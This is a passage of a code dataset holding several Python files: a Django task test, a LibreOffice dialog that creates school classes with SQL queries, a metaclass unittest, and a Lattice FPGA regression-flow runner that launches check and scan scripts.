persist_paed_records(report)\n self.assertEqual(PAEDPatientsRecord.objects.count(), 1)\n first_record = PAEDPatientsRecord.objects.all()[0]\n self.assertEqual(first_record.name, 'location_one')\n self.assertEqual(first_record.ip, 'ip_one')\n self.assertEqual(first_record.district, 'district_one')\n self.assertEqual(first_record.warehouse, 'warehouse_one')\n self.assertEqual(first_record.new, 20)\n self.assertEqual(first_record.existing, 12)\n\n def test_get_report_for_other_cycle(self):\n state = {'cs': [1, 2]}\n Cycle.objects.create(title=\"May - Jun 2015\", state=state)\n report = FakeReport()\n report.cycle = 'Jul - Aug 2015'\n other_report = get_report_for_other_cycle(report)\n self.assertEqual(other_report.cs, [1, 2])\n\n @patch('dashboard.tasks.run_checks')\n @patch('dashboard.tasks.persist_scores')\n @patch('dashboard.tasks.persist_consumption')\n @patch('dashboard.tasks.persist_adult_records')\n @patch('dashboard.tasks.persist_paed_records')\n @patch('dashboard.tasks.persist_multiple_order_records')\n def test_calculate_scores_for_checks_in_cycle(self, mock1, mock2, mock3, mock4, mock5, mock6):\n report = FakeReport()\n calculate_scores_for_checks_in_cycle(report)\n exepected_call = call(report)\n mock_methods = [mock1, mock2, mock3, mock4, mock5, mock6]\n for m in mock_methods:\n m.assert_has_calls([exepected_call])\n\n def test_should_record_facilities_with_multiple_orders(self):\n report = FakeReport()\n report.ads = defaultdict(list)\n report.pds = defaultdict(list)\n report.cycle = \"May - Jun 2015\"\n report.locs = [{\n 'name': 'location_one',\n 'IP': 'ip_one',\n 'District': 'district_one',\n 'Warehouse': 'warehouse_one',\n 'Multiple': '',\n 'status': '',\n 'Web/Paper': '',\n 'scores': defaultdict(dict)\n }, {\n 'name': 'location_two',\n 'IP': 'ip_one',\n 'District': 'district_one',\n 'Warehouse': 'warehouse_one',\n 'Multiple': 'Multiple orders',\n 'status': '',\n 'Web/Paper': '',\n 'scores': defaultdict(dict)\n }]\n self.assertEqual(MultipleOrderFacility.objects.count(), 0)\n persist_multiple_order_records(report)\n self.assertEqual(MultipleOrderFacility.objects.count(), 1)\n","sub_path":"dashboard/tests/test_tasks.py","file_name":"test_tasks.py","file_ext":"py","file_size_in_byte":7429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"476096465","text":"\"\"\"Dialog for class creation.\"\"\"\n\nfrom application import dialogs\nfrom puhelper import helper, event\nfrom com.sun.star.sdbc import SQLException\n\n\nclass ClassCreationHandler(dialogs.YearListHandler):\n \"\"\"Handle class creation dialog macro.\"\"\"\n\n class Data(dialogs.YearListHandler.Data):\n \"\"\"Manages data for the dialog.\"\"\"\n\n @property\n def subjects(self):\n \"\"\"Return all subjects.\"\"\"\n return self.sql_result('''\n SELECT id, bezeichnung AS title\n FROM Fach\n ORDER BY id\n ''')\n\n def classes_by_year(self, year_id):\n \"\"\"Return classes of a year.\"\"\"\n return self.sql_result('''\n SELECT Kurs.fach AS subj_id,\n Halbjahr.halbjahrnummer AS sem_number, Halbjahr.id AS sem_id\n FROM Kurs, Halbjahr\n WHERE Kurs.halbjahr=Halbjahr.id AND abijahrgang={}\n '''.format(year_id))\n\n def students_in_class(self, subject_id, semester_id):\n \"\"\"Return number of students.\"\"\"\n return self.sql_result('''\n SELECT COUNT(*) AS num\n FROM KursSchueler, Kurs\n WHERE KursSchueler.kurs=Kurs.id AND Kurs.fach={}\n AND Kurs.halbjahr={}\n '''.format(subject_id, semester_id))[0]['num']\n\n def get_semester_id(self, year_id, semester_num):\n \"\"\"Return the semester id.\"\"\"\n return self.sql_result('''\n SELECT Halbjahr.id AS sem_id\n FROM Halbjahr, AbiJahrgang\n WHERE Halbjahr.abijahrgang={} AND halbjahrnummer={}\n '''.format(year_id, semester_num))[0]['sem_id']\n\n def create_class(self, subject_id, semester_id):\n \"\"\"Insert class into database.\"\"\"\n self.db.execute(\n 'INSERT INTO \"Kurs\" (\"fach\", \"halbjahr\") VALUES ({}, {})'\n .format(subject_id, semester_id))\n\n def delete_class(self, subject_id, semester_id):\n \"\"\"Delete class.\"\"\"\n self.db.execute(\n 'DELETE FROM \"Kurs\" WHERE \"fach\"={} AND \"halbjahr\"={}'\n .format(subject_id, semester_id))\n\n def get_student_list(self, subject_id, semester_id):\n \"\"\"Return list of student names.\"\"\"\n return self.sql_result('''\n SELECT vorname, nachname\n FROM KursSchueler\n LEFT JOIN Kurs ON KursSchueler.kurs=Kurs.id\n LEFT JOIN AbiSchueler\n ON AbiSchueler.id=KursSchueler.abi_schueler\n RIGHT JOIN Schueler ON Schueler.id=AbiSchueler.schueler\n WHERE Kurs.fach={} AND Kurs.halbjahr={}\n '''.format(subject_id, semester_id))\n\n def __init__(self):\n \"\"\"Initialize with item listener.\"\"\"\n dialogs.YearListHandler.__init__(self, YearBoxListener)\n\n def run(self):\n \"\"\"Show class creation dialog with its components.\"\"\"\n subject_list = dialogs.SubjectList(\n self.data.subjects, name_key='id', label_key='title')\n self.year_listener.check_boxes = CheckBoxList(\n subject_list, CheckBoxListener)\n\n\nclass CheckBoxList(dialogs.CheckBoxList):\n \"\"\"CheckBoxList for class creation dialog.\"\"\"\n\n def rows(self, subject):\n \"\"\"Return numbers from 1 to 4.\"\"\"\n return map(lambda i: (i + 1, None), range(4))\n\n def name(self, subject, nr, row):\n \"\"\"Return subject id and semester number as id.\"\"\"\n return subject.id, str(nr)\n\n\nclass YearBoxListener(event.get.ItemListener):\n \"\"\"Event listener of the year list box.\"\"\"\n\n def __init__(self):\n \"\"\"Initialize the event listener.\n\n Attributes:\n check_boxes: List of checkboxes.\n\n \"\"\"\n self.check_boxes = []\n\n def itemStateChanged(self, evt=None):\n \"\"\"Load the classes and set the checkbox states.\"\"\"\n handler = dialogs.context.handler\n year_id = handler.year_list.selected[0].data\n classes = handler.data.classes_by_year(year_id)\n\n self.check_boxes.reset()\n\n for class_ in classes:\n data = class_['subj_id'], class_['sem_number']\n students_num = handler.data.students_in_class(\n class_['subj_id'], class_['sem_id'])\n handler.dialog.components[data].set_properties(\n State=1, Label=students_num)\n\n\nclass CheckBoxListener(event.get.ItemListener):\n \"\"\"Event listener of the dialog's checkboxes.\"\"\"\n\n def itemStateChanged(self, evt=None):\n \"\"\"Either delete or fill a class if the state is changed.\n\n If there is at least one student in a class, its deletion must\n be approved.\n\n \"\"\"\n handler = dialogs.context.handler\n year_id = handler.year_list.selected[0].data\n subject_id, semester_num = self.target.name\n semester_id = handler.data.get_semester_id(year_id, semester_num)\n\n if self.target['State']:\n handler.data.create_class(subject_id, semester_id)\n self.target['Label'] = 0\n else:\n try:\n handler.data.delete_class(subject_id, semester_id)\n self.target['Label'] = ''\n except SQLException:\n self.target['State'] = 1\n students = handler.data.get_student_list(\n subject_id, semester_id)\n helper.msg_box.query('''\n Möchten Sie den Kurs einschließlich Schüler löschen?\n Folgende Schüler befinden sich im Kurs: {}'''.format(\n str(students)), 'Löschen bestätigen',\n helper.MessageBox.BUTTON_YES_NO)\n","sub_path":"pythonpath/application/dialogs/class_creation.py","file_name":"class_creation.py","file_ext":"py","file_size_in_byte":5747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"10781784","text":"import unittest\n\nfrom contesto.utils.extending import AutoExtendingSelectors\n\n\"\"\"\nTrick to create class with metaclass\nfor both python 2 and 3. It's like\n\n2:\nclass Foo(object):\n __metaclass__=AutoExtendingSelectors\n selectors: {\n 'a': 1\n }\n\n3:\nclass Foo(metaclass=AutoExtendingSelectors):\n selectors: {\n 'a': 1\n }\n\"\"\"\nFoo = AutoExtendingSelectors(\"Foo\", (), {\n 'selectors': {\n 'a': 1\n }\n})\n\n\nclass Bar(Foo):\n selectors = {\n 'b': 2,\n }\n\n\nclass Baz(Bar):\n selectors = {\n 'a': 3,\n 'c': 4,\n }\n\n\nclass Qux(Baz):\n selectors = {}\n\n\ndef dict_equals(dict1, dict2):\n if len(dict1) != len(dict2):\n return False\n else:\n for key in dict1:\n if key not in dict2 or dict1[key] != dict2[key]:\n return False\n return True\n\n\nclass AutoextendingSelectorsTest(unittest.TestCase):\n def test_autoextending_selectors(self):\n foo = Foo()\n bar = Bar()\n baz = Baz()\n qux = Qux()\n self.assertEqual({'a': 1}, foo.selectors)\n self.assertEqual({'a': 1, 'b': 2}, bar.selectors)\n self.assertEqual({'a': 3, 'b': 2, 'c': 4}, baz.selectors)\n self.assertEqual({'a': 3, 'b': 2, 'c': 4}, qux.selectors)\n","sub_path":"tests/utils_extending_tests.py","file_name":"utils_extending_tests.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"308901208","text":"import os\nimport re\nimport sys\nimport shutil\nimport glob\nimport configparser\n\nfrom . import xConvert\nfrom . import xTools\nfrom . import xLattice\nfrom . import xSimulation\nfrom . import xRadiantIPgen\nfrom .xOptions import XOptions\nfrom .xReport import ScanReport\nfrom . import xCommandFlow\nfrom . import xiCEcube2\nfrom . import xDMSsta\nfrom . import qas\nfrom . import utils\n\n__author__ = 'syan'\n\n\nclass FlowLattice(XOptions):\n def __init__(self, private_options):\n XOptions.__init__(self, private_options)\n self.sbx_file = \"\"\n\n def process(self):\n head_lines = xTools.head_announce()\n\n if self.run_option_parser():\n return 1\n\n xTools.say_it(dict(os.environ), \"Original Environments:\", self.debug)\n\n if self.sanity_check():\n return 1\n\n play_lines, play_time = xTools.play_announce(self.src_design, self.dst_design)\n self.out_log = log_file = os.path.join(self.dst_design, \"runtime_console.log\")\n xTools.add_cmd_line_history(log_file)\n xTools.append_file(log_file, head_lines + play_lines)\n os.environ[\"BQS_L_O_G\"] = log_file\n _recov = xTools.ChangeDir(self.dst_design)\n sts = 0\n if self.scan_only:\n self.scan_report()\n self.check_only = True\n if self.check_only:\n sts2 = self.run_check_flow()\n _recov.comeback()\n return sts2\n\n if not sts:\n self.record_debug_message()\n if self.run_ice:\n pass\n else:\n sts = self.create_env_setter()\n try:\n xTools.remove_license_setting(phase=\"LATTICE_LICENSE_WINREG_OR_FLEXLMRC\")\n except:\n pass # DO not care\n utils.add_license_control()\n if not sts:\n sts = self.merge_local_options()\n\n if not sts:\n sts = self.copy_update_conf_file()\n xTools.say_it(dict(os.environ), \"Original Environments:\", self.debug)\n\n self.pre_process = self.scripts_options.get(\"pre_process\")\n self.post_process = self.scripts_options.get(\"post_process\")\n\n self.delete_sedisable_if_needed()\n\n if self.is_ng_flow:\n os.environ[\"YOSE_RADIANT\"] = \"1\"\n # dump check and scan_report Python file\n self.run_check_flow(dump_only=1)\n\n cmd_file = None\n cmd_ret = None\n # run normal flow\n if self.pre_process:\n xLattice.run_pre_post_process(self.src_design, self.pre_process)\n if self.scan_rpt or self.scan_pap_rpt:\n self.scan_report(dump_only=1)\n try:\n if not sts:\n if self.dms_standalone:\n sts = self.run_dms_standalone_flow()\n elif self.run_ice:\n sts = self.run_ice_flow()\n else:\n self.synthesis_only = xTools.get_true(self.scripts_options, \"synthesis_only\")\n if self.env_setter.will_run_simulation():\n sts = self.run_simulation_flow()\n else:\n cmd_file = self.scripts_options.get(\"cmd_file\")\n if cmd_file:\n sts = self.run_cmd_file_only(cmd_file)\n cmd_ret = sts\n else:\n if self.is_ng_flow:\n _ldf_file = self.scripts_options.get(\"rdf_file\")\n else:\n _ldf_file = self.scripts_options.get(\"ldf_file\")\n if _ldf_file:\n sts = self.run_tcl_flow()\n elif \"cmd_flow\" in self.scripts_options:\n sts = self.run_cmd_flow()\n else:\n sts = self.run_tcl_flow()\n xTools.stop_announce(play_time)\n except Exception as e:\n xTools.say_tb_msg()\n xTools.say_it(\"Error. %s\" % e)\n\n if self.post_process:\n xLattice.run_pre_post_process(self.src_design, self.post_process)\n self.copy_to_another_location_if_needed()\n if self.run_ice:\n final_sts = sts\n else:\n if not cmd_file:\n final_sts = self.run_check_flow()\n else:\n _conf = self.scripts_options.get(\"check_conf\")\n if _conf:\n final_sts = self.run_check_flow()\n else:\n self.print_check_standard_output(cmd_ret)\n final_sts = 201 if cmd_ret else 200\n if self.scan_rpt or self.scan_pap_rpt:\n self.scan_report()\n self.run_final_closing_flow()\n _recov.comeback()\n return final_sts\n\n def run_final_closing_flow(self):\n # current working directory: $design/_scratch\n # 1. stop Simrel inner flow\n timeout_file = \"../_timeout.py\"\n p_nnn = re.compile(r'\"(nc stop \\S+)\"')\n line_m = xTools.simple_parser(timeout_file, [p_nnn])\n if line_m:\n m = line_m[1]\n nc_stop_line = m.group(1)\n print((\"Try to kill Simrel process: {}\".format(nc_stop_line)))\n os.system(nc_stop_line)\n # end of 1.\n\n @staticmethod\n def print_check_standard_output(cmd_ret):\n if cmd_ret:\n print(\"- Final check status: 201\")\n print(\"- Failed\")\n print(\"Failed\")\n else:\n print(\"- Final check status: 200\")\n print(\"- Passed\")\n print(\"Passed\")\n\n @staticmethod\n def run_cmd_file_only(cmd_file):\n _x_recov = xTools.ChangeDir(\"..\") # get out of _scratch\n ################\n execute_dict = dict()\n execute_dict[\".sh\"] = (\"bash\", None)\n execute_dict[\".csh\"] = (\"csh\", None)\n execute_dict[\".bat\"] = (\"bash\", \"\")\n execute_dict[\".cmd\"] = (\"bash\", \"\")\n execute_dict[\".py\"] = (sys.executable, sys.executable)\n execute_dict[\".pl\"] = (\"perl\", \"perl\")\n ################\n t = cmd_file.lower()\n t = t.split()\n for k, v in list(execute_dict.items()):\n if t[0].endswith(k):\n my_v = v[1] if sys.platform.startswith(\"win32\") else v[0]\n if my_v is None:\n print((\"Error. Cannot execute {} on {} platform\".format(cmd_file, sys.platform)))\n this_cmd_line = \"\"\n break\n this_cmd_line = \"{} {}\".format(my_v, cmd_file)\n break\n elif len(t) > 1:\n if t[1].endswith(k):\n this_cmd_line = cmd_file\n break\n else:\n this_cmd_line = cmd_file\n if this_cmd_line:\n sts = xTools.run_command(this_cmd_line, \"run_batch.log\", \"run_batch.time\")\n else:\n sts = 1\n _x_recov.comeback()\n return sts\n\n def delete_sedisable_if_needed(self):\n now_environment = self.scripts_options.get(\"environment\")\n _v = xTools.get_true(now_environment, \"delete_sedisable\")\n if _v:\n try:\n os.environ.pop(\"SEDISABLE\")\n except:\n pass\n\n def scan_report(self, dump_only=0, use_new=True):\n tag_dir = os.getcwd()\n design_dir, tag = os.path.split(tag_dir)\n job_dir, design = os.path.split(design_dir)\n\n #old scan flow\n if not use_new:\n if self.is_ng_flow:\n scan_py = os.path.join(os.path.dirname(__file__), '..', '..', 'tools', 'scan_report',\n \"radiant\", \"scan_radiant.py\")\n args = \"--top-dir=%s --design=%s --tag=%s --rpt-dir=%s\" % (job_dir, design, tag, self.top_dir)\n else:\n scan_py = os.path.join(os.path.dirname(__file__),'..','..','tools','scan_report', \"bin\", \"run_scan_lattice_step_general_case.py\")\n args = \"--special-structure=%s --job-dir=%s --design=%s\" % (tag, job_dir, design)\n if xTools.not_exists(scan_py, \"Scan scripts\"):\n return 1\n scan_py = os.path.abspath(scan_py)\n cmd_line = \"%s %s %s\" % (sys.executable, scan_py, args)\n if self.scan_pap_rpt:\n cmd_line += \" --pap \"\n cmd_line = xTools.win2unix(cmd_line, 0)\n if dump_only:\n timeout_py = xTools.win2unix(os.path.join(\"..\", \"_timeout.py\"))\n xTools.append_file(timeout_py, [\"import os\", \"os.system('%s')\" % cmd_line, \"\"])\n return\n xTools.say_it(\" Launching %s\" % cmd_line)\n sts, text = xTools.get_status_output(cmd_line)\n xTools.say_raw(text)\n #new scan flow\n if self.is_ng_flow:\n software = 'radiant'\n else:\n software = 'diamond'\n scan_py = os.path.join(os.path.dirname(__file__), '..', '..', 'tools', 'scanReport',\n \"scan_report.py\")\n args = \"--top-dir=%s --design=%s --tag=%s --software %s --rpt-dir %s\" % (job_dir, design, tag, software, self.top_dir)\n if self.scripts_options.get(\"seed_sweep\"):\n args += \" --seed seed\"\n if xTools.not_exists(scan_py, \"Scan scripts\"):\n return 1\n scan_py = os.path.abspath(scan_py)\n cmd_line = \"%s %s %s\" % (sys.executable, scan_py, args)\n if self.scan_pap_rpt:\n cmd_line += \" --pap \"\n cmd_line = xTools.win2unix(cmd_line, 0)\n if dump_only:\n timeout_py = xTools.win2unix(os.path.join(\"..\", \"_timeout.py\"))\n xTools.append_file(timeout_py, [\"import os\", \"os.system('%s')\" % cmd_line, \"\"])\n return\n xTools.say_it(\" Launching %s\" % cmd_line)\n sts, text = xTools.get_status_output(cmd_line)\n xTools.say_raw(text)\n\n def run_check_flow(self, dump_only=0):\n if not dump_only:\n _do_not_check = self.scripts_options.get(\"no_check\")\n if _do_not_check:\n sts, text = 200, (\"Not executed check flow, always return Passed\", \"Final check status: 200\", \"Passed\")\n xTools.say_it(text)\n return sts\n report_path = self.scripts_options.get(\"cwd\")\n if not self.check_rpt:\n report = \"check_flow.csv\"\n else:\n _check_rpt = xTools.get_abs_path(self.check_rpt, report_path)\n report_path, report = os.path.split(_check_rpt)\n\n check_py = os.path.join(os.path.dirname(__file__),'..','..','tools','check', \"check.py\")\n check_py = os.path.abspath(check_py)\n if xTools.not_exists(check_py, \"source script file\"):\n return 1\n\n cmd_kwargs = dict()\n if not dump_only:\n xx = self.original_options.get(\"check_sections\")\n yy = self.original_options.get(\"check_smart\")\n if os.getenv(\"INNER_APB_FLOW\"):\n yy = True\n self.original_options[\"run_export_bitstream\"] = False\n new_args = list()\n if not (xx or yy):\n new_args.append(\"check_normal\")\n else:\n if xx:\n new_args.extend([\"now_chk_{}\".format(foo) for foo in xx])\n else:\n new_args.extend([\"now_chk_{}\".format(foo) for foo in self.valid_check_items])\n if yy:\n new_args.append(\"now_chk_smart\")\n has_synthesis_name = False\n for k, v in list(self.original_options.items()):\n if v:\n if k == \"synthesis\":\n new_args.append(v)\n has_synthesis_name = True\n else:\n new_args.append(k)\n if not has_synthesis_name:\n project_files = glob.glob(os.path.join(self.job_dir, self.design, self.tag, \"*.*df\"))\n if not project_files:\n pass\n try:\n got_name = xTools.simple_parser(project_files[0], [re.compile('synthesis=\"([^\"]+)\"')])\n new_args.append(got_name[1].group(1))\n except:\n new_args.append(\"lse\")\n\n cmd_kwargs[\"preset_options\"] = \"--preset-options={}\".format(\"+\".join(new_args))\n cmd_kwargs[\"top_dir\"] = \"--top-dir=%s\" % self.job_dir\n cmd_kwargs[\"design\"] = \"--design=%s\" % self.design\n\n _check_conf = self.scripts_options.get(\"check_conf\")\n if _check_conf:\n cmd_kwargs[\"conf_file\"] = \"--conf-file=%s\" % _check_conf\n else:\n cmd_kwargs[\"conf_file\"] = \"\"\n cmd_kwargs[\"report_path\"] = \"--report-path=%s\" % report_path\n cmd_kwargs[\"tag\"] = \"--tag=%s\" % self.tag\n cmd_kwargs[\"report\"] = \"--report=%s\" % report\n cmd_kwargs[\"rerun_path\"] = \"--rerun-path=%s\" % report_path\n # NEW check flow\n if self.scripts_options.get(\"synthesis_only\"):\n _ = self.scripts_options.get(\"synthesis\")\n if _ == \"lse\":\n cmd_kwargs[\"lse_check\"] = \"--lse-check\"\n else:\n cmd_kwargs[\"synp_check\"] = \"--synp-check\"\n else:\n for _ in (\"run_par_trace\", \"run_par\", \"pushbutton\"):\n if self.scripts_options.get(_):\n if self.scripts_options.get(\"till_map\"): # till map has higher priority\n pass\n else:\n cmd_kwargs[\"partrce_check\"] = \"--partrce-check\"\n else:\n for _ in (\"run_map\", \"till_map\", \"run_map_trace\"):\n if self.scripts_options.get(_):\n cmd_kwargs[\"map_check\"] = \"--map-check\"\n if self.is_ng_flow:\n cmd_kwargs[\"vendor\"] = \"--vendor radiant\"\n else:\n cmd_kwargs[\"vendor\"] = \"--vendor diamond\"\n #\n\n cmd_line = r\"%s %s \" % (sys.executable, check_py)\n for key, value in list(cmd_kwargs.items()):\n cmd_line += \" %s \" % value\n\n cmd_line = xTools.win2unix(cmd_line, 0)\n if dump_only:\n timeout_py = xTools.win2unix(os.path.join(\"..\", \"_timeout.py\"))\n xTools.write_file(timeout_py, [\"import os\", \"os.system('%s')\" % cmd_line, \"\"])\n return\n xTools.say_it(\" Launching %s\" % cmd_line)\n sts, text = xTools.get_status_output(cmd_line)\n xTools.say_it(text)\n return sts\n\n def run_ice_flow(self):\n my_flow = xiCEcube2.Run_iCEcube(self.scripts_options)\n sts = my_flow.iCE_process()\n return sts\n\n def run_dms_standalone_flow(self):\n my_flow = xDMSsta.DMSStandalone(self.scripts_options)\n sts = my_flow.process()\n return sts\n\n def record_debug_message(self):\n def __get_value(value):\n if not value:\n value = \"\"\n if type(value) is list:\n value = list(map(str, value))\n joint_string = \">%s <\" % os.linesep\n value = \"<%s>\" % joint_string.join(value)\n elif isinstance(value, bool):\n value = \"1\"\n if not isinstance(value, str): # on Unix, configparser option value MUST be string\n value = str(value)\n return value\n config=configparser.ConfigParser()\n section_qa = \"qa\"\n config.add_section(section_qa)\n for section, foo in list(self.scripts_options.items()):\n if type(foo) is dict:\n config.add_section(section)\n for key, bar in list(foo.items()):\n config.set(section, key, __get_value(bar))\n else:\n config.set(section_qa, section, __get_value(foo))\n config.write(open(\"local_debug.ini\",\"w\"))\n\n def run_scan_only_flow(self):\n if not self.job_dir:\n self.job_dir = os.getcwd()\n if xTools.not_exists(self.job_dir, \"Job Working Path\"):\n return 1\n my_scan = ScanReport(self.job_dir, self.design, self.tag)\n return my_scan.process()\n\n def sanity_check(self):\n # get src_design and dst_design\n if self.top_dir:\n if not self.design:\n xTools.say_it(\"-Error. No design name specified\")\n return 1\n self.top_dir = os.path.abspath(self.top_dir)\n else:\n if self.design:\n if os.path.isabs(self.design):\n xTools.say_it(\"-Warning. <--design=[single design_name or relative design path for top_dir]> is nicer\")\n self.top_dir = os.getcwd()\n else:\n self.top_dir, self.design = os.path.split(os.getcwd())\n self.src_design = xTools.get_abs_path(self.design, self.top_dir)\n if xTools.not_exists(self.top_dir, \"Top Source path\"):\n return 1\n if xTools.not_exists(self.src_design, \"Source Design\"):\n return 1\n if self.job_dir:\n self.job_dir = os.path.abspath(self.job_dir)\n else:\n self.job_dir = self.top_dir\n self.dst_design = os.path.join(self.job_dir, self.design, self.tag)\n if xTools.wrap_md(self.dst_design, \"Job Working Design Path\"):\n return 1\n self.scripts_options[\"src_design\"] = self.src_design\n self.scripts_options[\"dst_design\"] = self.dst_design\n\n def get_ice_project_options(self, project_file):\n _prj_options = dict()\n p = re.compile(\"\\[(.+)\\]\")\n section_name = \"\"\n for line in open(project_file):\n line = line.strip()\n if not line:\n continue\n m = p.search(line)\n if m:\n section_name = m.group(1)\n continue\n if section_name:\n key_value = _prj_options.get(section_name, dict())\n\n _kv_list = re.split(\"=\", line)\n if len(_kv_list) == 1:\n key_value[_kv_list[0]] = \"\"\n else:\n key_value[_kv_list[0]] = \"=\".join(_kv_list[1:])\n _prj_options[section_name] = key_value\n return _prj_options\n\n def merge_local_options(self):\n if self.scuba_type:\n big_version, small_version = xLattice.get_diamond_version()\n xml_file = os.path.join(self.conf, \"DiamondDevFile_%s%s.xml\" % (big_version, small_version))\n my_convert = xConvert.ConvertScubaCase(self.src_design, self.devkit, xml_file, self.scuba_type, self.scripts_options)\n sts = my_convert.process()\n if sts:\n return 1\n if self.scuba_only:\n return 1\n if self.info_file_name:\n t = os.path.join(self.src_design, self.info_file_name)\n if xTools.not_exists(t, \"user specified info file\"):\n return 1\n info_file = [t]\n len_info_file = 1\n else:\n info_file = glob.glob(os.path.join(self.src_design, \"*.info\"))\n len_info_file = len(info_file)\n if len_info_file > 1:\n xTools.say_it(\"-Error. Found %d info file under %s\" % (len_info_file, self.src_design))\n return 1\n\n if self.run_ice:\n if not len_info_file: # read the project file directly\n ice_prj_files = glob.glob(os.path.join(self.src_design, \"par\", \"*.project\"))\n if not ice_prj_files:\n ice_prj_files = glob.glob(os.path.join(self.src_design, \"synthesis\", \"*\", \"*.project\"))\n if not ice_prj_files:\n ice_prj_files = glob.glob(os.path.join(self.src_design, \"project\", \"*\", \"*\", \"*.project\"))\n if xTools.check_file_number(ice_prj_files, \"iCEcube2 project file\"):\n return 1\n local_options = self.get_ice_project_options(ice_prj_files[0])\n self._merge_options(local_options)\n self.scripts_options[\"same_ldf_dir\"] = os.path.dirname(ice_prj_files[0])\n self.scripts_options[\"use_ice_prj\"] = 1\n\n else:\n sts, info_dict = xTools.get_conf_options(info_file)\n if sts:\n return 1\n qa_info_dict = info_dict.get(\"qa\")\n if qa_info_dict:\n project_file = qa_info_dict.get(\"project_file\")\n else:\n project_file = \"\"\n\n if project_file:\n local_options = self.get_ice_project_options(project_file)\n self.scripts_options[\"same_ldf_dir\"] = os.path.dirname(project_file)\n self.scripts_options[\"use_ice_prj\"] = 1\n self._merge_options(local_options)\n else:\n self.scripts_options[\"same_ldf_dir\"] = os.path.dirname(info_file[0])\n self._merge_options(info_dict)\n\n else:\n if not len_info_file: # No info file found\n valid_run_fext = (\".sh\", \".csh\", \".bat\", \".cmd\", \".py\", \".pl\")\n for foo in os.listdir(self.src_design):\n fname, fext = os.path.splitext(foo.lower())\n if fname == \"run\" and fext in valid_run_fext:\n self.scripts_options[\"cmd_file\"] = os.path.join(self.src_design, foo)\n break\n else:\n if self.is_ng_flow:\n prj_fext = \"*.rdf\"\n else:\n prj_fext = \"*.ldf\"\n ldf_file = list()\n for p in [os.path.join(self.src_design, \"par\"), self.src_design]:\n ldf_file = glob.glob(os.path.join(p, prj_fext))\n if ldf_file:\n break\n if xTools.check_file_number(ldf_file, \"Diamond Project File\"):\n return 1\n if self.is_ng_flow:\n self.scripts_options[\"rdf_file\"] = ldf_file[0]\n else:\n self.scripts_options[\"ldf_file\"] = ldf_file[0]\n\n others_path = os.path.join(self.src_design, \"others\")\n if os.path.isdir(others_path):\n self.scripts_options[\"others_path\"] = \"./others\"\n else:\n sts, local_options = xTools.get_conf_options(info_file)\n if sts:\n return 1\n real_info_file = info_file[0]\n if xTools.get_fname(real_info_file) == \"_qas\":\n new_local_options = qas.get_local_bqs_options(self.conf, local_options,\n self.src_design, self.is_ng_flow)\n if not new_local_options:\n xTools.say_it(\"-Error. can not get the local info options from _qas.info file\")\n return 1\n self._merge_options(new_local_options)\n # self.generate_check_conf_file(real_info_file)\n else:\n self._merge_options(local_options)\n try:\n self.scripts_options[\"info\"] = real_info_file\n except:\n pass\n xTools.say_it(self.scripts_options, \"Final Options\", self.debug)\n if self.is_ng_flow:\n gen_ip_sts = None\n if self.is_ng_flow and self.run_ipgen:\n _info = self.scripts_options.get(\"info\")\n rdf_file = self.scripts_options.get(\"rdf_file\", \"NotFound_rdf\")\n info_dir = os.path.dirname(_info) if os.path.isfile(_info) else os.getcwd()\n abs_rdf_file = xTools.get_abs_path(rdf_file, info_dir)\n gen_ip_sts = self.run_ipgen_for_radiant(abs_rdf_file)\n if gen_ip_sts:\n return 1\n\n\n def generate_check_conf_file(self, real_info_file):\n \"\"\"\n Zhilong need rtl/map_vlg check conf file\n \"\"\"\n base_dir = os.path.dirname(real_info_file)\n conf_file = glob.glob(os.path.join(base_dir, \"*.conf\"))\n if len(conf_file) >= 1:\n pass\n else:\n if not self.env_setter.will_run_simulation():\n return\n new_conf = os.path.join(base_dir, \"check_rtl_mapvlg.conf\")\n conf_kwargs = dict()\n conf_kwargs[\"_design_name\"] = os.path.basename(self.src_design)\n conf_kwargs[\"src_top_module\"] = self.scripts_options.get(\"sim\", dict()).get(\"src_top_module\")\n new_lines = qas.qas_check_conf_template % conf_kwargs\n xTools.write_file(new_conf, new_lines)\n\n def copy_update_conf_file(self):\n if self.top_dir == self.job_dir:\n return\n if self.check_conf:\n d = self.check_conf\n else:\n d = \"*.conf\"\n # will copy conf file to src_design to dirname(_dst_design)\n conf_files = glob.glob(os.path.join(self.src_design, d))\n if not conf_files: # not found conf file\n return\n if len(conf_files) > 1:\n xTools.say_it(\"Warning. Found more than 1 conf file under %s\" % self.src_design)\n return 1\n # now find a conf file\n # update it!\n src_conf = conf_files[0]\n dst_conf = os.path.join(os.path.dirname(self.dst_design), os.path.basename(src_conf))\n p_golden = re.compile(\"^golden_file\\s*=\\s*(.+)$\", re.I)\n ob_dst = open(dst_conf, \"w\")\n for line in open(src_conf):\n m_golden = p_golden.search(line)\n if m_golden:\n golden_file = m_golden.group(1)\n real_golden_file = xTools.get_abs_path(golden_file, self.src_design)\n if not os.path.isfile(real_golden_file):\n real_golden_file = golden_file\n print(\"golden_file = %s\" % real_golden_file, file=ob_dst)\n else:\n ob_dst.write(line)\n ob_dst.close()\n\n def create_env_setter(self):\n self.env_setter = xLattice.LatticeEnvironment(self.scripts_options)\n sts = self.env_setter.process()\n if sts:\n return sts\n\n def run_cmd_flow(self):\n my_cmd_flow = xCommandFlow.CommandFlow(self.scripts_options)\n sts = my_cmd_flow.process()\n return sts\n\n def run_simulation_flow(self):\n xTools.say_it(\"-- Will launch simulation flow ...\")\n if self.create_final_ldf_file():\n pass # do Not care the implementation flow status, will run simulation flow straightly\n if self.dry_run:\n return\n if self.synthesis_only:\n return\n my_tcl_flow = xLattice.RunTclFlow(self.scripts_options, self.final_ldf_file, self.final_ldf_dict, \"\")\n sts = my_tcl_flow.process_tcl_flow_only()\n if sts:\n return sts\n my_sim_flow = xSimulation.RunSimulationFlow(self.scripts_options, self.final_ldf_file, self.final_ldf_dict)\n sts = my_sim_flow.process()\n return sts\n\n def run_tcl_flow(self):\n if self.create_final_ldf_file():\n return 1\n if self.dry_run:\n return 1\n if self.synthesis_only:\n return\n my_tcl_flow = xLattice.RunTclFlow(self.scripts_options, self.final_ldf_file, self.final_ldf_dict,\n self.special_frequency)\n sts = my_tcl_flow.process()\n return sts\n\n def create_final_ldf_file(self):\n my_create = xLattice.CreateDiamondProjectFile(self.scripts_options)\n sts = my_create.process()\n self.final_ldf_file = my_create.final_ldf_file\n if 